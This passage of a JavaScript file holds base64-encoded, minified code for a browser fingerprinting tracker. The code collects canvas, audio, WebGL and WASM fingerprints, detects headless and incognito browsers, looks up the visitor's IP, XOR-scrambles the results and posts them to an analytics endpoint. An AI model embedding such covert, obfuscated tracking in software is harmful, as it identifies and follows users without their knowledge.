4pO2Quc3RhcnQoMCk7Yi5zdGFydFJlbmRlcmluZygpO2NvbnN0IGY9c2V0VGltZW91dCgoKT0+e2NvbnNvbGUud2FybigiVGltZWQgb3V0Iik7Yi5vbmNvbXBsZXRlPWZ1bmN0aW9uKCl7YShudWxsKX07cmV0dXJuIGI9bnVsbH0sMUUzKTtiLm9uY29tcGxldGU9Zz0+e2NsZWFyVGltZW91dChmKTtjPTA7Zm9yKGxldCBuPTQ1MDA7bjw1RTM7bisrKWMrPU1hdGguYWJzKGcucmVuZGVyZWRCdWZmZXIuZ2V0Q2hhbm5lbERhdGEoMClbbl0pO2M9Yy50b1N0cmluZygpO2UuZGlzY29ubmVjdCgpO2EoSyhjKSl9fWNhdGNoKGYpe2EobnVsbCksYz0wfX0pfWNsYXNzIE97c3RhdGljIGdldCBmaW5nZXJwcmludCgpe3JldHVybiBUYSgpfX0KYXN5bmMgZnVuY3Rpb24gUChhKXtpZihRLmhhcyhhKSlyZXR1cm4gUS5nZXQoYSk7aWYoYTw9MW4pcmV0dXJuIDFuO2NvbnN0IGI9YXdhaXQgUChCaWdJbnQoYSktMW4pK2F3YWl0IFAoQmlnSW50KGEpLTJuKTtRLnNldChhLGIpO3JldHVybiBifWFzeW5jIGZ1bmN0aW9uIFIoYSl7cmV0dXJuIGE8PTE/MTphd2FpdCBSKGEtMSkrYXdhaXQgUihhLTIpfWFzeW5jIGZ1bmN0aW9uIFVhKCl7dHJ5e2NvbnN0IGE9K25ldyBEYXRlO2ZvcihsZXQgYj0wO2I8OTk5OTk5OTA7YisrKTtyZXR1cm4rKCtuZXcgRGF0ZS1hKS50b0ZpeGVkKDApfWNhdGNoKGEpe3JldHVybiBudWxsfX0KYXN5bmMgZnVuY3Rpb24gVmEoKXtyZXR1cm4gYXdhaXQgbmV3IFByb21pc2UoYT0+e2NvbnN0IGI9VWludDhBcnJheS5mcm9tKHdpbmRvdy5DcnlwdG8uQmFzZTY0LmRlY29kZSgiQUdGemJRRUFBQUFCQ0FGZ0EzOS9md0YvQXdJQkFBVURBUUFCQnhjQ0JtMWxiVzl5ZVFJQUNuQnlhVzFsVUhKdlltVUFBQW9YQVJVQkFuOERRQ0FFUVFGcUlnUWdBa2dOQUF0Qktncz0iKSxjPT5jLmNoYXJDb2RlQXQoMCkpO1dlYkFzc2VtYmx5Lmluc3RhbnRpYXRlKGIpLnRoZW4oKHtpbnN0YW5jZTpjfSk9Pntjb25zdCBlPXBlcmZvcm1hbmNlLm5vdygpO2xldCBkPTA7Zm9yKGxldCBmPTA7ZjwxMDtmKyspZCs9Yy5leHBvcnRzLnByaW1lUHJvYmUoMCwxLDE5OTk5OTk5MSk7Yz0ocGVyZm9ybWFuY2Uubm93KCktZSkudG9GaXhlZCg0KTtjb25zb2xlLmxvZygiUHJpbWUrUHJvYmUgcmVzdWx0OiIsZCxgJHtjfWApO2EoYytkKX0pfSl9Y2xhc3MgU3t9dmFyIFE9bmV3IE1hcDsKYXN5bmMgZnVuY3Rpb24gV2EoKXt0cnl7Y29uc3QgYz0rbmV3IERhdGU7Zm9yKHZhciBhPTA7YTwxRTM7YSsrKXZhciBiPWF3YWl0IHdpbmRvdy5XYXNtRmluZ2VycHJpbnRzLmthKDEzbik7Y29uc29sZS5sb2coYEZpYm9uYWNjaSAiJHthfSIgYmVuY2htYXJrIHRpbWU6ICR7KygrbmV3IERhdGUtYykudG9GaXhlZCgwKX0gfCByZXN1bHQ6ICR7Yn1gKX1jYXRjaChjKXtyZXR1cm4gbnVsbH19YXN5bmMgZnVuY3Rpb24gWWEoKXt0cnl7Y29uc3QgYz0rbmV3IERhdGU7Zm9yKHZhciBhPTA7YTwxRTM7YSsrKXZhciBiPWF3YWl0IHdpbmRvdy5XYXNtRmluZ2VycHJpbnRzLmxhKDEzKTtjb25zb2xlLmxvZyhgRmlib25hY2NpICIke2F9IiBiZW5jaG1hcmsgdGltZTogJHsrKCtuZXcgRGF0ZS1jKS50b0ZpeGVkKDApfSB8IHJlc3VsdDogJHtifWApfWNhdGNoKGMpe3JldHVybiBudWxsfX0KYXN5bmMgZnVuY3Rpb24gWmEoKXt0cnl7Y29uc3QgYT0rbmV3IERhdGU7Zm9yKGxldCBiPTA7YjwxRTU7YisrKWF3YWl0IEsoKGIrImJlbmNobWFya0NyeXB0b01kNSIrQXJyYXkoMUU0KS5maWxsKCItIikrYikudG9TdHJpbmcoKSk7cmV0dXJuKygrbmV3IERhdGUtYSkudG9GaXhlZCgwKX1jYXRjaChhKXtyZXR1cm4gbnVsbH19YXN5bmMgZnVuY3Rpb24gJGEoKXt0cnl7Y29uc3QgYT0rbmV3IERhdGU7Zm9yKGxldCBiPTA7YjwxRTU7YisrKWF3YWl0IFNhKChiKyJiZW5jaG1hcmtDcnlwdG9NZDUiK0FycmF5KDFFNCkuZmlsbCgiLSIpK2IpLnRvU3RyaW5nKCkpO3JldHVybisoK25ldyBEYXRlLWEpLnRvRml4ZWQoMCl9Y2F0Y2goYSl7cmV0dXJuIG51bGx9fWNsYXNzIFR7fWNsYXNzIFV7fQp0eXBlb2YgbW9kdWxlIT09InVuZGVmaW5lZCImJm1vZHVsZS5leHBvcnRzP21vZHVsZS5leHBvcnRzPVU6KHdpbmRvdy5GaW5nZXJwcmludHM9VSxVLndhc209UyxVLndlYmdsPU0sVS5jYW52YXM9Tix3aW5kb3cuV2FzbUZpbmdlcnByaW50cz1TLFMuZmFzdF9maWJvbmFjY2k9UCxTLmZpYm9uYWNjaT1SLFMuYmVuY2htYXJrV2FzbT1VYSxTLndhc21UZXN0PVZhLHdpbmRvdy5XZWJHTEZpbmdlcnByaW50cz1NLE0uZmluZ2VycHJpbnREYXRhPVBhLE0uZ2V0V2ViR0xJbmZvPU9hLHdpbmRvdy5DYW52YXNGaW5nZXJwcmludHM9TixOLnRwQ2FudmFzRmluZ2VycHJpbnQ9UmEsTi50cENhbnZhc0RhdGE9UWEsd2luZG93LkF1ZGlvRmluZ2VycHJpbnRzPU8sTy5maW5nZXJwcmludD1PLmZpbmdlcnByaW50LE8uY3JlYXRlQXVkaW9Db250ZXh0V2l0aENvbXByZXNzb3I9VGEsd2luZG93LkJlbmNobWFya3M9VCxULmJlbmNobWFya0NyeXB0b01kNT1aYSxULmJlbmNobWFya0Zhc3RGaWJvbmFjY2k9CldhLFQuYmVuY2htYXJrRmlib25hY2NpPVlhLFQuYmVuY2htYXJrQ3J5cHRvU2hhMjU2PSRhKTthc3luYyBmdW5jdGlvbiBWKGEpe2NvbnN0IHtXOmI9ITAsWDpjPSEwLFU6ZT0hMCxWOmQ9ITB9PWE7Y29uc29sZS5sb2coYGdldEZpbmdlcnByaW50RGF0YSAtIGdldFdhc206ICR7Yn0sIGdldFdlYmdsOiAke2N9LCBnZXRBdWRpbzogJHtlfSwgZ2V0Q2FudmFzOiAke2R9YCk7YT17d2FzbTp7fSx3ZWJnbDp7fX07dmFyIGY9d2luZG93LkZpbmdlcnByaW50cyxnPWYud2FzbTtjb25zdCBuPWYud2ViZ2w7dmFyIHE9Zi5jYW52YXM7Zj1mLmF1ZGlvO2lmKGImJmcpe2NvbnNvbGUubG9nKCJXQVNNIC0gZW5hYmxlZCIpO3ZhciBoPWF3YWl0IGcud2FzbVRlc3QoKTtnPWF3YWl0IGcuYmVuY2htYXJrV2FzbSgpO2gmJihhLndhc20udGVzdD1oKTtnJiYoYS53YXNtLmJlbmNoPWcpfWMmJm4mJihjb25zb2xlLmxvZygiV0VCR0wgLSBlbmFibGVkIiksZz1uLmdldFdlYkdMSW5mbygpLGg9YXdhaXQgbi5maW5nZXJwcmludCxnJiYoYS53ZWJnbC5pbmZvPWcpLGgmJihhLndlYmdsLmhhc2g9aCkpOwplJiZmJiYoY29uc29sZS5sb2coImF1ZGlvRlAgLSBlbmFibGVkIiksKGY9Zi5maW5nZXJwcmludCkmJihhLmF1ZGlvPWYpKTtkJiZxJiYoY29uc29sZS5sb2coImNhbnZhc0ZQIC0gZW5hYmxlZCIpLChxPWF3YWl0IHEuZmluZ2VycHJpbnQpJiYoYS5jYW52YXM9cSkpO3E9YWIoYSk7cT1hd2FpdCBLKHEpO2NvbnNvbGUubG9nKGBoYXNoOiAke3F9YCk7cmV0dXJue2ZpbmdlcnByaW50OnEsZGV2aWNlX2ZpbmdlcnByaW50Om4uZmluZ2VycHJpbnR8fG4uZmluZ2VycHJpbnREYXRhKCkuaGFzaCxkZXZpY2Vfc2hhMjU2Om4uZmluZ2VycHJpbnREYXRhKCkucWEsLi4uYX19YXN5bmMgZnVuY3Rpb24gYmIoYSl7dHJ5e2E9YXx8YXdhaXQgVigpO2NvbnN0IGI9YWIoYSk7cmV0dXJuIEsoYil9Y2F0Y2goYil7cmV0dXJuIGNvbnNvbGUuZXJyb3IoYiksbnVsbH19CmNsYXNzIFd7Y29uc3RydWN0b3IoKXt0aGlzLnU9e307dGhpcy5HPW51bGw7dGhpcy51PVYoKTt0aGlzLkc9dGhpcy51LmZpbmdlcnByaW50fWdldCBkYXRhKCl7cmV0dXJuIHRoaXMudX1nZXQgZmluZ2VycHJpbnQoKXtyZXR1cm4gdGhpcy5HfXN0YXRpYyBnZXQgZmluZ2VycHJpbnQoKXtyZXR1cm4gdGhpcy5HfX12YXIgSz13aW5kb3cuQ3J5cHRvLm1kNXx8KCgpPT5udWxsKSxTYT13aW5kb3cuQ3J5cHRvLnNoYTI1Nnx8KCgpPT5udWxsKSxhYj13aW5kb3cuVXRpbHMuc3RhYmxlU3RyaW5naWZ5fHwoKCk9Pm51bGwpO3R5cGVvZiBtb2R1bGUhPT0idW5kZWZpbmVkIiYmbW9kdWxlLmV4cG9ydHM/bW9kdWxlLmV4cG9ydHM9Vzood2luZG93LkRldmljZUZpbmdlcnByaW50PVcsVy5nZXRGaW5nZXJwcmludEhhc2g9YmIsVy5nZXRGaW5nZXJwcmludERhdGE9Vik7Y29uc3QgY2I9YXN5bmMgYT0+YXdhaXQgKGF3YWl0IGZldGNoKGEse21vZGU6ImNvcnMifSkpLnRleHQoKSxkYj1hc3luYygpPT5hd2FpdCBjYigiaHR0cHM6Ly9jaGVja2lwLmFtYXpvbmF3cy5jb20vIiksZWI9YXN5bmMoKT0+e2NvbnN0IGE9KGF3YWl0IGNiKCJodHRwczovL3d3dy5jbG91ZGZsYXJlLmNvbS9jZG4tY2dpL3RyYWNlIikpLnNwbGl0KCJcbiIpLm1hcChiPT5iLnNwbGl0KCI9IikpO3JldHVybiBPYmplY3QuZnJvbUVudHJpZXMobmV3IE1hcChhKSkuaXAucmVwbGFjZSgiXFxuIiwiXG4iKS50cmltKCl9O2FzeW5jIGZ1bmN0aW9uIGZiKCl7cmV0dXJuIGF3YWl0IChuZXcgWCkuaW5mbygpfQphc3luYyBmdW5jdGlvbiBnYigpe3JldHVybiBhd2FpdCBuZXcgUHJvbWlzZShhPT57d2luZG93Lm9uZGV2aWNlbW90aW9uPWI9PntpZihiLmFjY2VsZXJhdGlvbkluY2x1ZGluZ0dyYXZpdHkueCE9PW51bGwpcmV0dXJuIGEoITApfTtzZXRUaW1lb3V0KCgpPT5hKCExKSwzMDApfSl9CmNsYXNzIFh7Y29uc3RydWN0b3IoKXt2YXIgYT13aW5kb3cubmF2aWdhdG9yLnVzZXJBZ2VudCxiPSJVbmtub3duIE9TIjthLmluZGV4T2YoIldpbiIpIT09LTE/Yj0iV2luZG93cyI6YS5pbmRleE9mKCJNYWMiKSE9PS0xP2I9Ik1hYyBPUyI6YS5pbmRleE9mKCJMaW51eCIpIT09LTE/Yj0iTGludXgiOmEuaW5kZXhPZigiQW5kcm9pZCIpIT09LTE/Yj0iQW5kcm9pZCI6YS5pbmRleE9mKCJsaWtlIE1hYyIpPT09LTF8fGEuaW5kZXhPZigiaVBob25lIik9PT0tMSYmYS5pbmRleE9mKCJpUGFkIik9PT0tMSYmYS5pbmRleE9mKCJpUG9kIik9PT0tMXx8KGI9ImlPUyIpO3RoaXMuTT1ifHxuYXZpZ2F0b3IucGxhdGZvcm18fCI/Ijt0aGlzLkQ9e25hbWU6IlVua25vd24iLHZlcnNpb246Ij8ifTt0aGlzLmxhbmd1YWdlcz1uYXZpZ2F0b3IubGFuZ3VhZ2VzfHxbXTt0aGlzLmFhPWAke3dpbmRvdy5zY3JlZW4ud2lkdGh9eCR7d2luZG93LnNjcmVlbi5oZWlnaHR9YDthPW5hdmlnYXRvci51c2VyQWdlbnR8fApuYXZpZ2F0b3IudXNlckFnZW50fHwiIjtiPXtuYW1lOiJVbmtub3duIix2ZXJzaW9uOiI/In07aWYoL0VkZ1wvKFswLTkuXSspLy50ZXN0KGEpKWIubmFtZT0iRWRnZSIsYi52ZXJzaW9uPVJlZ0V4cC4kMTtlbHNlIGlmKC9PUFJcLyhbMC05Ll0rKS8udGVzdChhKSliLm5hbWU9Ik9wZXJhIixiLnZlcnNpb249UmVnRXhwLiQxO2Vsc2UgaWYoL0Nocm9tZVwvKFswLTkuXSspLy50ZXN0KGEpJiYvU2FmYXJpXC8vLnRlc3QoYSkpYi5uYW1lPSJDaHJvbWUiLGIudmVyc2lvbj1SZWdFeHAuJDE7ZWxzZSBpZigvVmVyc2lvblwvKFswLTkuXSspLipTYWZhcmlcLy8udGVzdChhKSliLm5hbWU9IlNhZmFyaSIsYi52ZXJzaW9uPVJlZ0V4cC4kMTtlbHNlIGlmKC9GaXJlZm94XC8oWzAtOS5dKykvLnRlc3QoYSkpYi5uYW1lPSJGaXJlZm94IixiLnZlcnNpb249UmVnRXhwLiQxO2Vsc2UgaWYoL01TSUVccyhbMC05Ll0rKS8udGVzdChhKXx8L1RyaWRlbnRcLy4qcnY6KFswLTkuXSspLy50ZXN0KGEpKWIubmFtZT0KIklFIixiLnZlcnNpb249UmVnRXhwLiQxO2NvbnN0IHtuYW1lOmMsdmVyc2lvbjplfT1iO3RoaXMuRC5uYW1lPWM7dGhpcy5ELnZlcnNpb249ZX1nZXQgZGF0YSgpe3JldHVybntvczp0aGlzLk0sdGltZXpvbmVfb2Zmc2V0OihuZXcgRGF0ZSkuZ2V0VGltZXpvbmVPZmZzZXQoKSxsb2NhbGU6SW50bC5EYXRlVGltZUZvcm1hdCgpLnJlc29sdmVkT3B0aW9ucygpLmxvY2FsZSxzY3JlZW46e3dpZHRoOnNjcmVlbi53aWR0aCxoZWlnaHQ6c2NyZWVuLmhlaWdodCxjb2xvckRlcHRoOnNjcmVlbi5jb2xvckRlcHRoLHBpeGVsRGVwdGg6c2NyZWVuLnBpeGVsRGVwdGh9LHRpbWV6b25lOkludGwuRGF0ZVRpbWVGb3JtYXQoKS5yZXNvbHZlZE9wdGlvbnMoKS50aW1lWm9uZSx0b3VjaF9zdXBwb3J0Om5hdmlnYXRvci5tYXhUb3VjaFBvaW50c3x8MCxoYXJkd2FyZV9jb25jdXJyZW5jeTpuYXZpZ2F0b3IuaGFyZHdhcmVDb25jdXJyZW5jeSxkZXZpY2VfbWVtb3J5Om5hdmlnYXRvci5kZXZpY2VNZW1vcnksCmNvb2tpZV9lbmFibGVkOm5hdmlnYXRvci5jb29raWVFbmFibGVkLGRvX25vdF90cmFjazpuYXZpZ2F0b3IuZG9Ob3RUcmFjayxwbGF0Zm9ybTpuYXZpZ2F0b3IucGxhdGZvcm0sdXNlcl9hZ2VudDpuYXZpZ2F0b3IudXNlckFnZW50LGxhbmd1YWdlOm5hdmlnYXRvci5sYW5ndWFnZX19YXN5bmMgaW5mbygpe2xldCBhPXt9O3RyeXthPWF3YWl0IHdpbmRvdy5Ccm93c2VyRGV0ZWN0b3IucGVyZm9ybVF1aWNrRGV0ZWN0aW9uKCksY29uc29sZS5sb2coIkhlYWRsZXNzIHJlc3VsdDoiLGEpfWNhdGNoKGMpe2NvbnNvbGUubG9nKCJIZWFkbGVzcyBkZXRlY3Rpb24gZmFpbGVkOiIsYyl9bGV0IGI7dHJ5e2I9YXdhaXQgd2luZG93LkRldGVjdEluY29nbml0by5ydW4oKX1jYXRjaChjKXtjb25zb2xlLmxvZygiSW5jb2duaXRvIGRldGVjdGlvbiBmYWlsZWQ6IixjKSxiPW51bGx9cmV0dXJue29zOnRoaXMuTSxicm93c2VyX25hbWU6dGhpcy5ELm5hbWUsYnJvd3Nlcl92ZXJzaW9uOnRoaXMuRC52ZXJzaW9uLApsYW5ndWFnZXM6dGhpcy5sYW5ndWFnZXMsc2NyZWVuX2luZm86dGhpcy5hYSxhY2NlbGVyb21ldGVyOmF3YWl0IGdiKCksaXNfaGVhZGxlc3M6YS5pc0hlYWRsZXNzPz9udWxsLGluX2luY29nbml0bzpiLmlzUHJpdmF0ZT8/bnVsbCwuLi50aGlzLmRhdGF9fX12YXIgaGI9bCgoKT0+bmV3IFByb21pc2UoKGEsYik9PmViKCkudGhlbihhKS5jYXRjaChjPT57Y29uc29sZS5sb2coYyk7ZGIoKS50aGVuKGEpLmNhdGNoKGIpfSkpKTt0eXBlb2YgbW9kdWxlIT09InVuZGVmaW5lZCImJm1vZHVsZS5leHBvcnRzP21vZHVsZS5leHBvcnRzPVg6dHlwZW9mIHdpbmRvdyE9PSJ1bmRlZmluZWQiJiYod2luZG93LlN5c3RlbUluZm89WCxYLmdldEluZm89ZmIsWC5wcm90b3R5cGUuaW5mbz1YLnByb3RvdHlwZS5pbmZvLFguZGV0ZWN0SVA9aGIpO2Z1bmN0aW9uIGliKGEsYixjPW51bGwpe1l8fChZPW5ldyBaKGEsYixjKSk7cmV0dXJuIFl9ZnVuY3Rpb24gamIoYSxiLGMpe3JldHVybiB0eXBlb2YgYSE9PSJzdHJpbmciP2E6YS5zcGxpdChiKS5qb2luKGMpfQpjbGFzcyBae2JhKGEpe3RoaXMuY29uZmlnPXsuLi50aGlzLmNvbmZpZywuLi5hfTtyZXR1cm4gdGhpc31nZXQgaigpe3JldHVybiB0aGlzLmNvbmZpZy53b3JrZmxvd0lkfXNldCBqKGEpe3JldHVybiB0aGlzLmNvbmZpZy53b3JrZmxvd0lkPWF9Z2V0IGwoKXtyZXR1cm4gdGhpcy5jb25maWcud29ya2Zsb3dUb2tlbn1zZXQgbChhKXtyZXR1cm4gdGhpcy5jb25maWcud29ya2Zsb3dUb2tlbj1hfWNvbnN0cnVjdG9yKGEsYixjPW51bGwpe3RoaXMuY29uZmlnPXtnZXRXYXNtOiEwLGdldFdlYmdsOiEwLGdldEF1ZGlvOiEwLGdldENhbnZhczohMCxpYToxLGRlYnVnOndpbmRvdy5ERUJVR3x8ITF9O3RoaXMubT17d2ViZHJpdmVyX2RldGVjdGVkOiExLGF1dG9tYXRpb25fZGV0ZWN0ZWQ6ITEscGx1Z2luc19kYXRhOkFycmF5LmZyb20obmF2aWdhdG9yLnBsdWdpbnMpLm1hcChlPT5lLm5hbWUpfTtpZighYXx8IWIpdGhyb3cgRXJyb3IoIk1pc3Npbmcgb25lIG9yIG1vcmUgIHJlcXVpcmVkIGFyZ3VtZW50cyEgRXhpdGluZy4iKTsKdHlwZW9mIHdpbmRvdyE9PSJ1bmRlZmluZWQiJiZ3aW5kb3cuREVCVUcmJmtiJiZjb25zb2xlLmxvZygiQnJvd3NlckRldGVjdG9yIixrYik7dHlwZW9mIHdpbmRvdyE9PSJ1bmRlZmluZWQiJiZ3aW5kb3cuREVCVUcmJmxiJiZjb25zb2xlLmxvZygiZGV0ZWN0SW5jb2duaXRvIixsYik7dGhpcy5qPWE7dGhpcy5sPWI7dGhpcy5jb25maWc9Yz97Li4udGhpcy5jb25maWcsLi4uYyxqOmEsbDpifTp7Li4udGhpcy5jb25maWcsajphLGw6Yn07dGhpcy5tPXt3ZWJkcml2ZXJfZGV0ZWN0ZWQ6ITEsYXV0b21hdGlvbl9kZXRlY3RlZDohMX07bmF2aWdhdG9yLndlYmRyaXZlciYmKHRoaXMubS53ZWJkcml2ZXJfZGV0ZWN0ZWQ9ITApfWluaXQoKXtzZXRUaW1lb3V0KGFzeW5jKCk9PmF3YWl0IHRoaXMuTigpLDApfWFzeW5jIHUoKXtjb25zb2xlLmxvZyhgX2RhdGEgfCB3b3JrZmxvd0lkOiAke3RoaXMuan0gOyB3b3JrZmxvd1Rva2VuOiAke3RoaXMubH1gKTt2YXIgYT10aGlzLmNvbmZpZy5nZXRXYXNtLApiPXRoaXMuY29uZmlnLmdldFdlYmdsO2NvbnN0IGM9dGhpcy5jb25maWcuZ2V0QXVkaW8sZT10aGlzLmNvbmZpZy5nZXRDYW52YXM7Y29uc29sZS5sb2coYF9kYXRhIC0gZ2V0V2FzbTogJHthfSwgZ2V0V2ViZ2w6ICR7Yn0sIGdldEF1ZGlvOiAke2N9LCBnZXRDYW52YXM6ICR7ZX1gKTthPWF3YWl0IG1iLmdldEZpbmdlcnByaW50RGF0YSh7VzphLFg6YixVOmMsVjplfSk7Y29uc29sZS5sb2coImZpbmdlcnByaW50IixhKTtiPWF3YWl0IG5iLmdldEluZm8oKTt0aGlzLm0uaGVhZGxlc3NfZGV0ZWN0ZWQ9Yi5pc0hlYWRsZXNzO3JldHVybnsuLi5iLGlwX2FkZHJlc3M6YXdhaXQgbmIuZGV0ZWN0SVAoKSxmaW5nZXJwcmludF9kYXRhOmEsZGV2aWNlX2ZpbmdlcnByaW50OmEuZGV2aWNlX2ZpbmdlcnByaW50LHdlYmRyaXZlcl9kZXRlY3RlZDp0aGlzLm0ud2ViZHJpdmVyX2RldGVjdGVkLGF1dG9tYXRpb25fZGV0ZWN0ZWQ6dGhpcy5tLmF1dG9tYXRpb25fZGV0ZWN0ZWQscGx1Z2luc19kYXRhOnRoaXMubS5wbHVnaW5zX2RhdGF9fWFzeW5jIEkoYT0Ke30pe2NvbnNvbGUubG9nKCJwcmVwYXJlRGF0YSAtIHN0YXJ0LCB3b3JrZmxvd0lkOiIsdGhpcy5jb25maWcud29ya2Zsb3dJZCx0aGlzLmosdGhpcy5jb25maWcpO2NvbnNvbGUubG9nKCJwcmVwYXJlRGF0YSAtIHN0YXJ0LCB3b3JrZmxvd1Rva2VuOiIsdGhpcy5jb25maWcubCx0aGlzLmwpO2E9ey4uLmEsLi4uKGF3YWl0IHRoaXMudSgpKX07Y29uc3QgYj1aLnNhZmVSZXBsYWNlQWxsKFouQmFzZTY0LmVuY29kZShgIyR7dGhpcy5qfWApLCI9IiwiIik7Y29uc29sZS5sb2coIkRlYnVnIGtleToiLGIpO2NvbnNvbGUubG9nKCJEZWJ1ZyBkYXRhOiIsYSk7cmV0dXJuIEQob2Iuc3RhYmxlU3RyaW5naWZ5KGEpLGIpfWFzeW5jIE4oYT0hMSl7dHJ5e2NvbnN0IGM9YXdhaXQgdGhpcy5JKCksZT17bWV0aG9kOiJQT1NUIixoZWFkZXJzOnsiQ29udGVudC1UeXBlIjoiYXBwbGljYXRpb24vanNvbiIsIlgtV29ya2Zsb3ctSWQiOnRoaXMuaiwiWC1Xb3JrZmxvdy1Ub2tlbiI6dGhpcy5sfSxib2R5OmN9LApkPWpiKFouQmFzZTY0LmVuY29kZShgIyR7dGhpcy5qfWApLCI9IiwiIik7aWYoYSl7Y29uc3QgZj1uZXcgWE1MSHR0cFJlcXVlc3Q7Zi5vcGVuKCJQT1NUIixgL2FuYWx5dGljXyR7ZH1gLCExKTtmLnNldFJlcXVlc3RIZWFkZXIoIkNvbnRlbnQtVHlwZSIsImFwcGxpY2F0aW9uL2pzb24iKTtmLnNldFJlcXVlc3RIZWFkZXIoIlgtV29ya2Zsb3ctVG9rZW4iLHRoaXMubCk7Zi5zZW5kKGMpfWVsc2V7dmFyIGI9YXdhaXQgZmV0Y2goYC9hbmFseXRpY18ke2R9YCxlKTtpZihiLnN0YXR1cyE9PTIwMCl0aHJvdyBFcnJvcihgSFRUUCBlcnJvciEgc3RhdHVzOiAke2Iuc3RhdHVzfWApO2NvbnNvbGUubG9nKCJyZXNwb25zZSIsYik7aWYoYi5vaylyZXR1cm4gd2luZG93LlV0aWxzLmlzSnNvblJlc3BvbnNlKGIpP2F3YWl0IGIuanNvbigpOmF3YWl0IGIudGV4dCgpfX1jYXRjaChjKXtjb25zb2xlLmVycm9yKCJFcnJvciBzdWJtaXR0aW5nIEpTIGRhdGE6IixjKX19YXN5bmMgZ2V0U3RhdHMoKXtyZXR1cm57Li4uKGF3YWl0IHRoaXMudSgpKSwKLi4udGhpcy5tfX19dmFyIFkscGI9d2luZG93LkNyeXB0by5CYXNlNjQsbGI9d2luZG93LkRldGVjdEluY29nbml0byxrYj13aW5kb3cuQnJvd3NlckRldGVjdG9yLG1iPXdpbmRvdy5EZXZpY2VGaW5nZXJwcmludCxvYj13aW5kb3cuVXRpbHMsbmI9d2luZG93LlN5c3RlbUluZm87CnR5cGVvZiBtb2R1bGUhPT0idW5kZWZpbmVkIiYmbW9kdWxlLmV4cG9ydHM/bW9kdWxlLmV4cG9ydHM9Wjood2luZG93LlRyYWNrZXI9WixaLmdldEluc3RhbmNlPWliLFouQmFzZTY0PXBiLFouc2FmZVJlcGxhY2VBbGw9amIsWi5wcm90b3R5cGUuZ2V0U3RhdHM9Wi5wcm90b3R5cGUuZ2V0U3RhdHMsWi5wcm90b3R5cGUuc3VibWl0RGF0YT1aLnByb3RvdHlwZS5OLFoucHJvdG90eXBlLnNldENvbmZpZz1aLnByb3RvdHlwZS5iYSxaLnByb3RvdHlwZS5wcmVwYXJlRGF0YT1aLnByb3RvdHlwZS5JLHdpbmRvdy5ERUJVRyYmKFoucHJvdG90eXBlLnByZXBhcmVEYXRhPVoucHJvdG90eXBlLkksWi5wcm90b3R5cGUueG9yU3RyaW5nV2l0aEtleT1ELFoucHJvdG90eXBlLmRlYnVnPWFzeW5jIGZ1bmN0aW9uKCl7Y29uc3QgYT10aGlzO3JldHVybiBhd2FpdCBuZXcgUHJvbWlzZShhc3luYyBiPT57YS5kPXt9O2NvbnNvbGUubG9nKGBEZWJ1ZyBpbmZvIGZvciAke3RoaXMuan06YCxhd2FpdCB0aGlzLmdldFN0YXRzKCkpOwpjb25zb2xlLmxvZygidGhpcy5jb25maWciLHRoaXMuY29uZmlnKTtjb25zb2xlLmxvZyhgJHt0aGlzLmNvbmZpZy53b3JrZmxvd0lkfSAke3RoaXMuY29uZmlnLndvcmtmbG93VG9rZW59YCk7Y29uc3QgYz1hd2FpdCB0aGlzLnByZXBhcmVEYXRhKCk7Y29uc29sZS5sb2coIkRlYnVnIGRhdGEgKHhvcik6IixjKTtjb25zb2xlLmxvZygid29ya2Zsb3dJZDoiLHRoaXMuaixhLmosdGhpcy53b3JrZmxvd0lkLHRoaXMuY29uZmlnPy5qKTtjb25zdCBlPWpiKFouQmFzZTY0LmVuY29kZShgIyR7dGhpcy5qfWApLCI9IiwiIik7Y29uc29sZS5sb2coIkRlYnVnIGtleToiLGUpO2NvbnN0IGQ9RChjLGUpO2NvbnNvbGUubG9nKCJEZWJ1ZyBkYXRhIChyYXcpOiIsZCk7YS5kLmtleT1lO2EuZC54b3JlZERhdGE9YzthLmQucmF3RGF0YT1kO2EuZC5kYXRhPUpTT04ucGFyc2UoZCk7YihhLmQpO2NvbnNvbGUubG9nKGEsYS5kKTtyZXR1cm4gYS5kfSl9KSk7fSkuY2FsbCh0aGlzKTsK';const CLIENT_WORKER_JS_CODE='KGZ1bmN0aW9uKCl7Y29uc3QgaD1uZXcgQmxvYihbIlxuY29uc3Qgc2VuZFJlcXVlc3QgPSBhc3luYyBmdW5jdGlvbiAodXJsLCByZXF1ZXN0RGF0YSkge1xuICAgIGNvbnN0IHJlc3BvbnNlID0gYXdhaXQgZmV0Y2godXJsLCByZXF1ZXN0RGF0YSk7XG4gICAgaWYgKHJlc3BvbnNlLnN0YXR1cyAhPT0gMjAwKSB7XG4gICAgICAgIHRocm93IG5ldyBFcnJvcihgSFRUUCBlcnJvciEgc3RhdHVzOiAke3Jlc3BvbnNlLnN0YXR1c31gKTtcbiAgICB9XG4gICAgY29uc29sZS5sb2coJ3Jlc3BvbnNlJywgcmVzcG9uc2UpO1xuICAgIGlmIChyZXNwb25zZS5vaykge1xuICAgICAgICBjb25zdCBpc0pzb24gPSAhIUFycmF5LmZyb20ocmVzcG9uc2UuaGVhZGVycy5nZXQoJ0NvbnRlbnQtVHlwZScpLm1hdGNoQWxsKC9qc29ufGphdmFzY3JpcHQvZ2kpKS5sZW5ndGg7XG4gICAgICAgIGlmIChpc0pzb24pIHtcbiAgICAgICAgICAgIHJldHVybiBhd2FpdCByZXNwb25zZS5qc29uKCk7XG4gICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICByZXR1cm4gYXdhaXQgcmVzcG9uc2UudGV4dCgpO1xuICAgICAgICB9XG4gICAgfVxufTtcblxuc2VsZi5vbm1lc3NhZ2UgPSBhc3luYyBmdW5jdGlvbihlKSAge1xuICAgIGNvbnN0IHBheWxvYWQgPSBlLmRhdGEgfHwge307XG4gICAgY29uc29sZS5sb2coJ3dvcmtlciBnb3QgcGF5bG9hZCcsIHBheWxvYWQpO1xuXG4gICAgaWYgKHBheWxvYWQucmVxdWVzdERhdGEpIHtcbiAgICAgICAgdHJ5IHtcbiAgICAgICAgICAgIGNvbnN0IHJlc3BvbnNlID0gYXdhaXQgc2VuZFJlcXVlc3QocGF5bG9hZC51cmwsIHBheWxvYWQucmVxdWVzdERhdGEpO1xuICAgICAgICAgICAgc2VsZi5wb3N0TWVzc2FnZSh7IHJlc3BvbnNlIH0pO1xuICAgICAgICB9IGNhdGNoIChlcnIpIHtcbiAgICAgICAgICAgIHNlbGYucG9zdE1lc3NhZ2UoeyBlcnJvcjogU3RyaW5nKGVycikgfSk7XG4gICAgICAgIH1cbiAgICB9XG59OyJdLAp7dHlwZToiYXBwbGljYXRpb24vamF2YXNjcmlwdCJ9KSxrPVVSTC5jcmVhdGVPYmplY3RVUkwoaCk7CnNldFRpbWVvdXQoYXN5bmMg